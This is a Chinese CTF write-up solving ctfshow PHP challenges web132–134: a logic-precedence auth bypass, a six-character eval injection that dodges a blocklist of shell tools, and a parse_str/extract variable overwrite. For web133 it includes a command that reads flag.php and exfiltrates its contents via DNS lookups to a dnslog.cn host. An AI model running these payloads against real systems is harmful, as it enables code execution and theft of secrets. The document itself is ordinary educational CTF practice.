当前位置: 首页 > news >正文

ctfshow 132,133,134(php特性)

web132

打开指挥是个blog网站,我们用dirsearh扫描一下目录

访问/admin/index.php

查看源码

<?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){ $username = (String)$_GET['username']; $password = (String)$_GET['password']; $code = (String)$_GET['code']; if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){ if($code == 'admin'){ echo $flag; } } }

&&需要两边同事都要满足,而||只需要两边任意一个满足就行了。

我们满足username="admin" 然后内层if还要求code='admin' 还要带上password 因为必须有

?code=admin&username=admin&password=

web133

源码

<?php error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){ eval(substr($F,0,6)); }else{ die("6个字母都还不够呀?!"); } }

源码中只对前六个字符作为php代码执行,,因为这个题无显然后这道题用到了数据外带。

需要用到dnslog.cn获取

?F=`$F`; ping `cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]"`.vlyye3.dnslog.cn -c 1

tr -cd就是只保留指定字符

-c 1就是ping1一次

截取出来的用8 4 4 4 12分开,并且手动添加- 因为这里我们只要求返回0-9和a-z的。

web134

<?php highlight_file(__FILE__); $key1 = 0; $key2 = 0; if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) { die("nonononono"); } @parse_str($_SERVER['QUERY_STRING']); extract($_POST); if($key1 == '36d' && $key2 == '36d') { die(file_get_contents('flag.php')); }

@parse_str($_SERVER['QUERY_STRING'])这一行

$_SERVER['QUERY_STRING']的意思就是读取?后的。

parse_str,将字符串解析成多个变量

例如?a=123&b=456

就变成$a=123 $b=456

而传入的里面又不能只有key1,key2

?_POST[key1]=36d&_POST[key2]=36d

让他给咱前面添加一个。然后看源代码拉到底部。

http://www.jsqmd.com/news/184064/

相关文章:

  • 希腊雅典卫城博物馆上线Sonic苏格拉底哲学问答
  • 美国Webby Awards公众投票环节Sonic暂居榜首
  • 制冷站智能群控管理系统
  • 深入解析TypeScript中的双元组类型
  • 超详细版SBC硬件选型流程图解说明
  • 阿尔巴尼亚考古遗址采用Sonic重现古代市集喧嚣
  • STM32CubeMX安装驱动包配置说明
  • 瓦努阿图火山监测站用Sonic向村民传递撤离指令
  • 万方数据平台可查阅Sonic技术白皮书与专利信息
  • 深入解析:使用Python处理股票价格的参考点
  • 留尼汪火山观测站使用Sonic向游客预警地质风险
  • 利用虚拟串口软件进行上位机测试的完整示例
  • 机构前瞻 2026 伦敦金:是冲击 5000 美元关口还是高位震荡?
  • 深入解析ASP.NET Core 7 MVC中的用户角色分配
  • 最大边距投影(MMP)算法详解:半监督局部敏感判别分析
  • 超详细版:上位机开发配合FreeRTOS下位机联调流程
  • 维和部队任务:士兵使用VoxCPM-1.5-TTS-WEB-UI播放和平宣传口号
  • TVP-VAR ox程序及代码详解:Matlab与OX Metrics的对比与选择
  • 正交线性图嵌入(OLGE)算法详解与MATLAB实现
  • 三相三线制静止无功发生器(SVG/STATCOM)的Simulink仿真探索
  • 基于Matlab的裂缝检测系统GUI:图像处理与裂缝分析完整解决方案
  • STM32与LCD12864数据传输稳定性优化指南
  • MATLAB实现图像空间平滑正则化矩阵的构造方法
  • 基于粒子群算法的储能优化配置方案
  • Spring-boot读书笔记一The persistence context
  • 基于Win10系统的Altera下载器驱动安装实战
  • Kubernetes部署Sonic集群实现高可用与弹性伸缩
  • ModelScope魔搭社区收录Sonic模型,支持在线体验
  • 沙特阿拉伯智慧城市计划引入Sonic提供阿拉伯语服务
  • 谷歌镜像站点助力研究人员访问Sonic国际论文资源